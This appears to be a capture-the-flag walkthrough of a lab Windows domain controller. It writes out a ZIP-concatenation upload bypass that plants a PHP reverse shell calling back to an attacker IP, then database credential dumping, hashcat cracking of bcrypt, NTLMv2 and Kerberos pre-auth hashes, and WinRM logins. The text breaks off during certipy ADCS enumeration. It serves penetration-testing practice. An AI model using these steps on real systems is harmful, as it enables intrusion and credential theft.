RECON
Port Scan
$ rustscan -a $target_ip --ulimit 2000 -r 1-65535 -- -A -sC -Pn
PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack Simple DNS Plus
80/tcp open http syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: FBA180716B304B231C4029637CCF6481
|_http-title: Certificate | Your portal for certification
88/tcp open kerberos-sec syn-ack Microsoft Windows Kerberos (server time: 2025-06-01 10:13:39Z)
135/tcp open msrpc syn-ack Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:15:12+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after: 2025-11-04T03:14:54
| MD5: 0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack
464/tcp open kpasswd5? syn-ack
593/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:15:11+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after: 2025-11-04T03:14:54
| MD5: 0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after: 2025-11-04T03:14:54
| MD5: 0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
|_ssl-date: 2025-06-01T10:15:12+00:00; +8h00m01s from scanner time.
3269/tcp open ssl/ldap syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T10:15:11+00:00; +8h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-04T03:14:54
| Not valid after: 2025-11-04T03:14:54
| MD5: 0252:f5f4:2869:d957:e8fa:5c19:dfc5:d8ba
| SHA-1: 779a:97b1:d8e4:92b5:bafe:bc02:3388:45ff:dff7:6ad2
| -----BEGIN CERTIFICATE-----
| MIIGTDCCBTSgAwIBAgITWAAAAALKcOpOQvIYpgAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
| S6T5Az4LLg9d2oa4YTDC7RqiubjJbZyF2C3jLIWQmA8=
|_-----END CERTIFICATE-----
5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack .NET Message Framing
Service Info: Hosts: certificate.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 54757/tcp): CLEAN (Timeout)
| Check 2 (port 57992/tcp): CLEAN (Timeout)
| Check 3 (port 64434/udp): CLEAN (Timeout)
| Check 4 (port 41124/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 8h00m00s, deviation: 0s, median: 8h00m00s
| smb2-time:
| date: 2025-06-01T10:14:33
|_ start_date: N/A
Domain Details
We have:
- FQDN:
certificate.htb
- DC hostname:
DC01.certificate.htb
- LDAP Certificate CN:
Certificate-LTD-CA
— implies Active Directory Certificate Services (ADCS) is deployed.
Ports Overview
We found some suspicious or notable ports based on the scan:
- Port 80 (HTTP): Apache 2.4.58 with PHP 8.0.30 running on Windows — this is uncommon and might indicate a custom or misconfigured web application worth investigating for RCE, LFI, or credential leaks.
- Port 88 (Kerberos) and Port 464 (kpasswd): Indicate the presence of an Active Directory domain controller. Primary targets for Kerberos-based attacks like AS-REP roasting or Kerberoasting.
- Port 389, 636, 3268, 3269 (LDAP/LDAPS/Global Catalog): LDAP in multiple forms confirms that this is a fully functional AD environment. Useful for enumerating users, groups, and potentially vulnerable Certificate Templates.
- Port 445 (SMB) and 139 (NetBIOS): Standard file sharing and RPC — potential for null session enumeration or share enumeration. Can also be useful for NTLM relaying or credential reuse.
Port 80
Port 80 hosts a web application that facilitates user registration and authentication:

The contact form functions correctly—potentially doubling as an XSS injection point:

During registration, we can specify the account type: student or teacher:

However, registering as a teacher triggers an approval workflow, whereas student accounts are provisioned with restricted access.
Enumeration with dirsearch
uncovers an upload.php
endpoint—accessible only post-authentication:

An additional endpoint of interest,
db.php
, is exposed as well:[19:46:30] 200 - 0B - /db.php
Sending a POST request to it while authenticated as a student yields a response demanding valid parameters:

WEB
Upload Bypass
Upload Test
With a student account, we're able to enroll in a course and access the submission interface for uploading homework:

This grants us access to the previously discovered upload.php
endpoint, e.g., http://certificate.htb/upload.php?s_id=26:

nitial upload attempts reveal content-type
sanitization mechanisms in place:

The page explicitly restricts accepted formats:
We accept only the following file types: .pdf .docx .pptx .xlsx
However, it introduces a “user-friendly” feature:
You include the assignment file in .zip archive file to reduce it's size
— And it's always in the name of convenience that vulnerabilities lurk.
But packaging a malicious PHP file into a .zip
and submitting it still results in rejection:

However, this's a signal, not a setback—the server is clearly unpacking and inspecting the archive, a behavior that often opens the door to backend parsing abuse and command injection.
ZIP Concatenation
Concept
The objective is straightforward: slip malicious content past upload filters by abusing the ZIP parser's trust model. If we can mislead the backend's ZIP handler into parsing a hidden payload within a concatenated archive, we pivot past restrictions undetected.
This Perception Point post involves exploiting the way different ZIP file readers handle concatenated ZIP archives to bypass security measures and deliver malicious payloads.
A ZIP file typically contains a central directory at its end, listing all the files within the archive. Some ZIP readers rely solely on this central directory to display the archive's contents. Attackers exploit this by creating multiple ZIP files—one benign and one malicious—and concatenating them. The resulting file appears as a single archive but contains multiple central directories. Depending on the ZIP reader used, only the contents of the first or second archive may be visible, allowing the malicious payload to remain hidden from certain tools.
Illustrated in the blog:
Extracted Path
└── <eml_attachment>.danger
└── SHIPPING_INV_PL_BL_pdf.rar
├── SHIPPING_INV_PL_BL_pdf.exe
│ ├── palladize
│ └── Dunlop
└── x.pdf
An .exe
cloaked inside a .rar
, itself buried within a .eml
. A multi-stage trick. One face for the scanner, another for the system.
Exploit
Our focus shifts to Windows file parsing behavior—specifically how Windows File Explorer and backend upload validators process ZIPs. It may fail to open the concatenated file or display only the second archive's contents, according to the article.
Therefore, we will abuse ZIP file concatenation to bypass file upload filters, particularly against the target server which scans ZIPs for restricted file types like .php
. This is because the file scanners often only parse the first ZIP's central directory and miss subsequent ones.
Step 1: Create a Benign ZIP
First create a valid, minimal, and harmless-looking PDF file:
printf '%s\n' \
'%%PDF-1.1' \
'1 0 obj' \
'<<>>' \
'endobj' \
'xref' \
'0 1' \
'0000000000 65535 f ' \
'trailer' \
'<<>>' \
'startxref' \
'9' \
'%%EOF' > legit.pdf
%PDF-1.1
: PDF file magic header.- Defines one empty object (
1 0 obj
). - Contains the required
xref
andtrailer
sections. - Ends with
%%EOF
, which signals the logical end of the file.
Then create a ZIP file (benign.zip
) with only the harmless-looking legit.pdf
:
zip benign.zip legit.pdf
Upload filters will scan this and allow it because it contains a .pdf
and nothing malicious.
Step 2: Create a Malicious ZIP
First we need to embed a malicious PHP payload under a directory:
$ mkdir rev
$ cp ~/hacktools/revshells/ivan_php.php rev/shell.php
$ vim rev/shell.php
$ tail rev/shell.php
}
echo '<pre>';
// change the host address and/or port number as necessary
$sh = new Shell('10.10.13.12', 4444);
$sh->run();
unset($sh);
// garbage collector requires PHP v5.3.0 or greater
// @gc_collect_cycles();
echo '</pre>';
?>
$ tree rev
rev
└── shell.php
1 directory, 1 file
Inside shell.php
is a reverse shell tuned to our listener.
Then we create the malicious.zip
which contains the PHP reverse-shell script inside a folder (rev/shell.php
):
zip -r malicious.zip rev/
This is what we eventually want the back-end server to execute.
Step 3: Concatenate Both ZIPs
Create a dual-headed archive. One tame, one lethal:
cat benign.zip malicious.zip > concat.zip
This is the core trick:
- ZIP parsers only read the central directory, which is usually located at the end of the file.
- By placing the benign ZIP first and malicious ZIP second, some filters will only analyze the first central directory (benign) and ignore the second (malicious).
- This results in a valid concatenated archive that behaves differently depending on how it's opened:
- Security scanners may see only the benign part.
- Web servers / tools like
unzip
,ZipArchive
,7z
or the Windows File Explorer may parse the entire archive and allow access to the embeddedshell.php
.
We can verify this duality using binwalk
:

This tells:
- The file begins with a valid ZIP archive at
offset 0x0
, containing 1 file only (legit.pdf
) inside thebenign.zip
- Immediately after that, at offset
0xF2
(decimal 242), there's another ZIP archive, containing 2 files (rev/shell.php
and the directory itself) inside themalicious.zip
Step 4: Upload the Combined ZIP
Submit concat.zip
to the server's upload endpoint. It scans the first archive—PDF checks out, no PHP to block. Pass granted. Because:
- Only
legit.pdf
is seen during scanning. .php
content is hidden in the concatenated part.
After successfully uploaded, it returns the URL of the PDF file:

… which looks like http://certificate.htb/static/uploads/a369baa9f1ece1047ee532031c7cf61d/legit.pdf
Step 5: Trigger Remote Code Execution
But we can pivot to the hidden payload:, via
http://certificate.htb/static/uploads/a369baa9f1ece1047ee532031c7cf61d/rev/shell.php
The server extracts both ZIPs. The PHP file is deployed silently. The trap springs:

We gain execution as xamppuser
—initial foothold secured.
USER
SQL Dump
Remember the db.php
we fingerprinted earlier during dirsearch
recon? Turns out, it holds gold:
<?php
// Database connection using PDO
try {
$dsn = 'mysql:host=localhost;dbname=Certificate_WEBAPP_DB;charset=utf8mb4';
$db_user = 'certificate_webapp_user'; // Change to your DB username
$db_passwd = 'cert!f!c@teDBPWD'; // Change to your DB password
$options = [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
];
$pdo = new PDO($dsn, $db_user, $db_passwd, $options);
} catch (PDOException $e) {
die('Database connection failed: ' . $e->getMessage());
}
?>
This exposed db.php
gives us hardcoded MySQL database credentials:
- Database name:
Certificate_WEBAPP_DB
- Username:
certificate_webapp_user
- Password:
cert!f!c@teDBPWD
We verify that MySQL is active:
C:\xampp\htdocs\certificate.htb> tasklist | findstr /i mysql
mysqld.exe 4528 0 16,432 K
Confirmed: mysqld.exe
is running locally.
Then locate the MySQL CLI:
c:\xampp> dir /s /b mysql.exe
c:\xampp\mysql\bin\mysql.exe
Armed with the creds, we pivot into the database:
c:\xampp\mysql\bin\mysql.exe -u certificate_webapp_user -p"cert!f!c@teDBPWD" -e "SHOW DATABASES;"
As a result:

We zone in on certificate_webapp_db
, the main application backend. Dumping the users
table gives:

The dumped users
table data:
[+] Dumped Users from `certificate_webapp_db.users`
├── ID: 1
│ ├── Name: Lorra Armessa
│ ├── Username: Lorra.AAA
│ ├── Email: [email protected]
│ ├── Role: teacher
│ ├── Password (bcrypt): $2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG
│ └── Active: Yes
├── ID: 6
│ ├── Name: Sara Laracrof
│ ├── Username: Sara1200
│ ├── Email: [email protected]
│ ├── Role: teacher
│ ├── Password (bcrypt): $2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK
│ └── Active: Yes
├── ID: 7
│ ├── Name: John Wood
│ ├── Username: Johney
│ ├── Email: [email protected]
│ ├── Role: student
│ ├── Password (bcrypt): $2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq
│ └── Active: Yes
├── ID: 8
│ ├── Name: Havok Watterson
│ ├── Username: havokww
│ ├── Email: [email protected]
│ ├── Role: teacher
│ ├── Password (bcrypt): $2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti
│ └── Active: Yes
├── ID: 9
│ ├── Name: Steven Roman
│ ├── Username: stev
│ ├── Email: [email protected]
│ ├── Role: student
│ ├── Password (bcrypt): $2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2
│ └── Active: Yes
├── ID: 10
│ ├── Name: Sara Brawn
│ ├── Username: sara.b
│ ├── Email: [email protected]
│ ├── Role: admin ← most interesting target
│ ├── Password (bcrypt): $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6
│ └── Active: Yes
├── ID: 12
│ ├── Name: aaa bbb
│ ├── Username: test
│ ├── Email: [email protected]
│ ├── Role: student
│ ├── Password (bcrypt): $2y$04$PuuzvL4V7.4mUDwp9C31hexcKM11kVSlypE1z46OH1WrLnXyP65Ym
│ └── Active: Yes
Hash format identified via Hashcat:
$ hashcat --identify '$2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG'
The following 4 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
3200 | bcrypt $2*$, Blowfish (Unix) | Operating System
25600 | bcrypt(md5($pass)) / bcryptmd5 | Forums, CMS, E-Commerce
25800 | bcrypt(sha1($pass)) / bcryptsha1 | Forums, CMS, E-Commerce
28400 | bcrypt(sha512($pass)) / bcryptsha512 | Forums, CMS, E-Commerce
We offload the hashes and crack them using RockYou:
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt --force
The one for Sara Brawn
, whose role is admin
, is crackable:
$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Blink182
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8U...kZNdH6
Test the cracked password with its username sara.b
mentioned in the database against AD:

Pop a shell with evil-winrm
:
evil-winrm -i certificate.htb -u 'sara.b' -p 'Blink182'
Initial access granted. No flag yet—

—but a backup-like directory structure reveals itself. That's our next breadcrumb.
PCAP Exfil
While inspecting C:\Users\Sara.B\Documents\ws-01\
, we find an intriguing capture:
*Evil-WinRM* PS C:\Users\Sara.B\Documents> gci .\ws-01 -recurse
Directory: C:\Users\Sara.B\Documents\ws-01
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/4/2024 12:44 AM 530 Description.txt
-a---- 11/4/2024 12:45 AM 296660 WS-01_PktMon.pcap
The Description.txt
paints the picture:
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01. When a user tries to input bad credentials, it returns bad credentials error. But when a user provides valid credentials the file explorer freezes and then crashes!
From the Protocol Hierarchy view of WS-01_PktMon.pcap
in Wireshark, we know both Kerberos and NTLMv2 authentication mechanisms are in use:

Sara logged the session to debug this. That's our in. A .pcap
of an authenticated SMB attempt? We might just extract something sensitive—an NTLMv2 hash, perhaps.
NTML Exfil (Rabbit Hole)
WireShark
Load WS-01_PktMon.pcap
into Wireshark and isolate with:
ntlmssp
We hone in on the NTLMSSP_AUTH
packet. This is the final packet in the 3-way handshake and contains the hash material.

This post explains the steps to extract the NTLM hash from an acquired .pcap
file,
As I upload a CTF challenge in our discord server:
https://discord.com/channels/1235103752369995796/1336590129338388511/1337043460355657728
It also requires the same technique, but a bit more complicated, which requires us to bypass the SSL handshake before exfiltration.
Since this is more of a simple version, we can exfiltrate the imbedded NTLM hash manually. As we have already filtered the network traffic via the keyword ntlmssp
, it shows all packets in the NTLM authentication sequence:
- Negotiate (first)
- Challenge (second)
- Authenticate (third ← the one we need)
Within the NTLMSSP_AUTH
packet, we expand:
SMB2 > Session Setup Request > Security Blob

From the Session Setup Request
, under the Security Blob, we extract:
Frame 745: 677 bytes on wire (5416 bits), 677 bytes captured (5416 bits) on interface unknown, id 0
Ethernet II, Src: PCSSystemtec_86:80:13 (08:00:27:86:80:13), Dst: PCSSystemtec_60:8d:f8 (08:00:27:60:8d:f8)
Internet Protocol Version 4, Src: 192.168.56.128, Dst: 192.168.56.101
Transmission Control Protocol, Src Port: 49734, Dst Port: 445, Seq: 345, Ack: 666, Len: 623
NetBIOS Session Service
SMB2 (Server Message Block Protocol version 2)
SMB2 Header
Session Setup Request (0x01)
[Preauth Hash: 3e045d080eea1daf990f774ebfcfb4f35c4141ea51f9f8adf8be6fa3dfe8d52aa9b23b9a9dd82a8f8277e739f319191dd24c6c7465ed04bbbaa2a2943661c4ff]
StructureSize: 0x0019
Flags: 0
Security mode: 0x02, Signing required
Capabilities: 0x00000001, DFS
Channel: None (0x00000000)
Previous Session Id: 0x0000000000000000
Blob Offset: 0x00000058
Blob Length: 531
Security Blob […]: a182020f3082020ba0030a0101a28201ee048201ea4e544c4d535350000300000018001800860000003c013c019e0000000a000a00580000001a001a00620000000a000a007c00000010001000da010000158288e20a0063450000000f1ff3e22f163537c38fc3236cc5d0033c
GSS-API Generic Security Service Application Program Interface
Simple Protected Negotiation
negTokenTarg
negResult: accept-incomplete (1)
responseToken […]: 4e544c4d535350000300000018001800860000003c013c019e0000000a000a00580000001a001a00620000000a000a007c00000010001000da010000158288e20a0063450000000f1ff3e22f163537c38fc3236cc5d0033c570053002d0030003100410064006d0069006e0069
NTLM Secure Service Provider
NTLMSSP identifier: NTLMSSP
NTLM Message Type: NTLMSSP_AUTH (0x00000003)
Lan Manager Response: 000000000000000000000000000000000000000000000000
LMv2 Client Challenge: 0000000000000000
NTLM Response […]: e336ceaefd01eb90006495d8b134391d0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e
Domain name: WS-01
User name: Administrator
Host name: WS-01
Session Key: 53be7b16d826685b77409970eb8ad967
[…]Negotiate Flags: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, Negotiate Target Info, Negotiate Extended Session Security, Negotiate Always Sign, Negotiate NTLM key, Negotiate Sign, Request Targe
Version 10.0 (Build 17763); NTLM Current Revision 15
MIC: 1ff3e22f163537c38fc3236cc5d0033c
mechListMIC: 01000000a1315cef9107a7b300000000
NTLMSSP Verifier
Version Number: 1
Verifier Body: a1315cef9107a7b300000000
Domain Info
Here, we found:
Domain: WS-01
Username: Administrator
NTLM Response
Under the NTLM Response
section, we can find the NTProofStr
:
e336ceaefd01eb90006495d8b134391d
Where the complete NTLMv2 Response
is:
e336ceaefd01eb90006495d8b134391d0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e
Since the NTLMv2 Response starts with the NTProofStr, we trimmed the first 16 bytes from the response to isolate the actual blob:
0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e
Server Challenge
Locate the corresponding NTLMSSP_CHALLENGE
packet for the server challenge:

So extract the NTLM Server Challenge:
532ae6cd16799423
Format NTLM Hash
We now structure it into Hashcat's NTLMv2 format:
<Username>::<Domain>:<ServerChallenge>:<NTProofStr>:<NTLMv2Response>
Resulting in:
Administrator::WS-01:532ae6cd16799423:e336ceaefd01eb90006495d8b134391d:0101000000000000381d00db922edb01a391e84fd1baec8400000000020016004300450052005400490046004900430041005400450001000800440043003000310004001e00630065007200740069006600690063006100740065002e
Save that to hash.txt
.
Hashcat
Invoke Hashcat in mode 5600
for NTLMv2:
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force
However, no dice for an Administrator account—rockyou.txt
doesn't cut it.
Kerberos Exfil
WireShark
While the NTLMv2 hash from Administrator
hit a wall, the .pcap
held more cards. Filtering with:
kerberos
…uncovered an AS-REQ from [email protected]
:

We analyze a captured Kerberos authentication exchange between a domain user and the KDC. This includes:
- Frame 917 –
AS-REQ
from[email protected]
- Frame 922 –
AS-REP
from DC with a TGT - …
Because this exchange includes pre-authentication, the initial AS-REQ message contains an encrypted timestamp — exactly what we need for Kerberos Pre-Auth roasting (AS-REQ Roasting).
Extract the kerberos
frame ( Frame 917
) of the selected AS-REQ package:
Frame 917: 363 bytes on wire (2904 bits), 363 bytes captured (2904 bits) on interface unknown, id 0
Ethernet II, Src: PCSSystemtec_86:80:13 (08:00:27:86:80:13), Dst: PCSSystemtec_60:8d:f8 (08:00:27:60:8d:f8)
Internet Protocol Version 4, Src: 192.168.56.128, Dst: 192.168.56.101
Transmission Control Protocol, Src Port: 49739, Dst Port: 88, Seq: 1, Ack: 1, Len: 309
Kerberos
Record Mark: 305 bytes
0... .... .... .... .... .... .... .... = Reserved: Not set
.000 0000 0000 0000 0000 0001 0011 0001 = Record Length: 305
as-req
pvno: 5
msg-type: krb-as-req (10)
padata: 2 items
PA-DATA pA-ENC-TIMESTAMP
padata-type: pA-ENC-TIMESTAMP (2)
padata-value: 3041a003020112a23a043823f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
etype: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
cipher: 23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
PA-DATA pA-PAC-REQUEST
padata-type: pA-PAC-REQUEST (128)
padata-value: 3005a0030101ff
include-pac: True
req-body
Padding: 0
kdc-options: 40810010
0... .... = reserved: False
.1.. .... = forwardable: True
..0. .... = forwarded: False
...0 .... = proxiable: False
.... 0... = proxy: False
.... .0.. = allow-postdate: False
.... ..0. = postdated: False
.... ...0 = unused7: False
1... .... = renewable: True
.0.. .... = unused9: False
..0. .... = unused10: False
...0 .... = opt-hardware-auth: False
.... 0... = unused12: False
.... .0.. = unused13: False
.... ..0. = constrained-delegation: False
.... ...1 = canonicalize: True
0... .... = request-anonymous: False
.0.. .... = unused17: False
..0. .... = unused18: False
...0 .... = unused19: False
.... 0... = unused20: False
.... .0.. = unused21: False
.... ..0. = unused22: False
.... ...0 = unused23: False
0... .... = unused24: False
.0.. .... = unused25: False
..0. .... = disable-transited-check: False
...1 .... = renewable-ok: True
.... 0... = enc-tkt-in-skey: False
.... .0.. = unused29: False
.... ..0. = renew: False
.... ...0 = validate: False
cname
name-type: kRB5-NT-PRINCIPAL (1)
cname-string: 1 item
CNameString: Lion.SK
realm: CERTIFICATE
sname
name-type: kRB5-NT-SRV-INST (2)
sname-string: 2 items
SNameString: krbtgt
SNameString: CERTIFICATE
till: Sep 12, 2037 19:48:05.000000000 PDT
rtime: Sep 12, 2037 19:48:05.000000000 PDT
nonce: 1788771279
etype: 6 items
ENCTYPE: eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
ENCTYPE: eTYPE-AES128-CTS-HMAC-SHA1-96 (17)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5 (23)
ENCTYPE: eTYPE-ARCFOUR-HMAC-MD5-56 (24)
ENCTYPE: eTYPE-ARCFOUR-HMAC-OLD-EXP (-135)
ENCTYPE: eTYPE-DES-CBC-MD5 (3)
addresses: 1 item WS-01<20>
HostAddress WS-01<20>
addr-type: nETBIOS (20)
NetBIOS Name: WS-01<20> (Server service)
[Response in: 922]
We're not targeting the
AS-REP
, because in this case, pre-authentication is required. The actual password proof is in theAS-REQ
's PA-ENC-TIMESTAMP field, not the encrypted part of the server's reply.
The encrypted method is referred as eTYPE-AES256-CTS-HMAC-SHA1-96 (18)
, corresponding to Hashcat mode 19900
(Hashcat Wiki). This means we can extract a Kerberos Pre-Auth hash in the $krb5pa$
format
Domain Info
Identify the account we're targeting:
Realm: CERTIFICATE.HTB
Username: Lion.SK
Cipher (Encrypted Ticket)
From the kerberos → as-req → padata → PA-ENC-TIMESTAMP → cipher
, right-click and copy the full field value:
23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
This field is the timestamp encrypted with the user's password, which is used for cracking with Hashcat mode 19900
.
Format Krb5pa Hash
From Hashcat Wiki, the format for -m 19900
(Kerberos 5, etype 18, Pre-Auth) is:
$krb5pa$18$<user>$<realm>$<cipher>
Final hash in our case:
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
Hashcat
hashcat -m 19900 lion_sk_hash.txt rockyou.txt --force
And we strike gold:
$krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0:!QAZ2wsx
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 19900 (Kerberos 5, etype 18, Pre-Auth)
Hash.Target......: $krb5pa$18$Lion.SK$CERTIFICATE.HTB$23f5159fa1c66ed7...e852f0
Confirmed valid:

Shell it:
evil-winrm -i certificate.htb -u 'lion.sk' -p '!QAZ2wsx'
Access granted—and the user flag is ours:

ROOT
AD enumeration time.
BloodHound
Using bloodhound-python
, we remotely enumerate the domain:
bloodhound-python -u 'lion.sk' -p '!QAZ2wsx' -d 'certificate.htb' -ns $target_ip --zip -c All -dc 'dc01.certificate.htb'
We see the previously compromised sara.b
user is a member of the Account Operators
group:

This group is intended to manage user and group accounts, but not administrative-level objects like Domain Controllers or Domain Admins — but we can control other privileged account via this primitive..
lion.sk
, however, is a member of a far more interesting group — Domain CRA Managers
:

While Account Operators
have classic delegation roles, the Domain CRA Managers
group hints at Certificate Services privilege—likely an AD CS misconfiguration is in play.
Certificate Request Agent
The DOMAIN CRA MANAGERS
group refers to Certificate Request Agent. The CRA Manager is an account authorized to request certificates on behalf of another user. This is most commonly used in smart card enrollment scenarios or delegate enrollment.
CRA Managers or users with elevated rights over CRA templates are potentially dangerous — they can be leveraged in ADCS attacks.
Certipy
Since it is ADCS related, we can Running certipy find
uncovers the vulnerability:
certipy find -target 'dc01.certificate.htb' -dc-ip $target_ip \
-u 'lion.sk' -p '!QAZ2wsx' \
-vulnerable -enable
Result:
{
"Certificate Authorities": {
"0": {
"CA Name": "Certificate-LTD-CA",
"DNS Name": "DC01.certificate.htb",
"Certificate Subject": "CN=Certificate-LTD-CA, DC=certificate, DC=htb",
"Certificate Serial Number": "75B2F4BBF31F108945147B466131BDCA",
"Certificate Validity Start": "2024-11-03 22:55:09+00:00",
"Certificate Validity End": "2034-11-03 23:05:09+00:00",
"Web Enrollment": {
"http": {
"enabled": false
},
"https": {
"enabled": false,
"channel_binding": null
}
},
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Active Policy": "CertificateAuthority_MicrosoftDefault.Policy",
"Permissions": {
"Owner": "CERTIFICATE.HTB\\Administrators",
"Access Rights": {
"1": [
"CERTIFICATE.HTB\\Administrators",
"CERTIFICATE.HTB\\Domain Admins",
"CERTIFICATE.HTB\\Enterprise Admins"
],
"2": [
